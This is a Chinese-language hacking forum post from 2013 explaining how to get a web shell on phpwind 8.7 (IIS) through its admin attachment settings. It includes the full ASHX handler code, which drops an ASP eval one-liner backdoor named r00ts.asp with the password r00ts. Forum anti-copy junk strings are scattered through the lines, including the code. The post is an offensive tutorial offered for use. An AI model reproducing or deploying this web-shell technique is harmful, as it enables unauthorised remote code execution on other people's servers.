找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
$ i; S' q8 X0 I' t. m4 s: _0 t 1 H1 |  _  v5 W- Y' R4 L1 |
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
7 C" ~& _( `# H& r2 q0 z6 S1 F" N $ x5 v& T6 T- ~$ w$ T8 O
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
. y2 r( Z5 n9 {: J. e+ L% D
0 l, b8 g; T) Y3 d' d; C9 E然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx( ^: d* O% M; b0 S

. m- L0 O6 R2 p" _& R6 M打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
4 S( X' O- \5 H' T
# F9 G, C3 x' m+ P2 ?下面是代码:
1 r3 K' J7 j! V   g: W  Q' v' z7 v! v, O
<%@ WebHandler Language="C#"Class="Handler" %>; |( E3 _$ O  c: D( o" K  a, j4 F
using System;
7 S7 b7 [$ f$ S0 M& `using System.Web;
; E1 ~  y7 t& q# K, uusing System.IO;
" [5 V. l6 b: ?8 @! gpublic class Handler : IHttpHandler {
6 i& P( \" R3 Y  M4 kpublic void ProcessRequest (HttpContext context) {
: f% _! h1 f4 C- H" acontext.Response.ContentType = "text/plain";
3 Y; B( f/ T( b5 f- o: m9 @  oStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));# s! M. S1 N/ s1 D& j: Y% z1 w
file1.Write("<%eval request(\"r00ts\")%>");4 ]) F) f6 Y1 O$ O7 e/ M
file1.Flush();8 h2 w) d2 R4 r: L; ^( d6 m
file1.Close();
- V6 I3 e+ X8 w' {; _- J* B( K}$ C% R' l5 w# a( y+ H' p- _- \, T
public bool IsReusable {% e" c/ G+ G+ S* O9 g; v4 Z, K' r  C
get {$ E4 v) h) P; M( v1 m. o3 N
return false;( k; P$ e+ S3 \* |. o% r: s
}: k7 _: H8 Q- S+ x, n' S/ G' [6 o
}- x% n6 ]. L: x' I, k
}
3 o+ H: s6 D5 v  p2 y  F+ @  g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表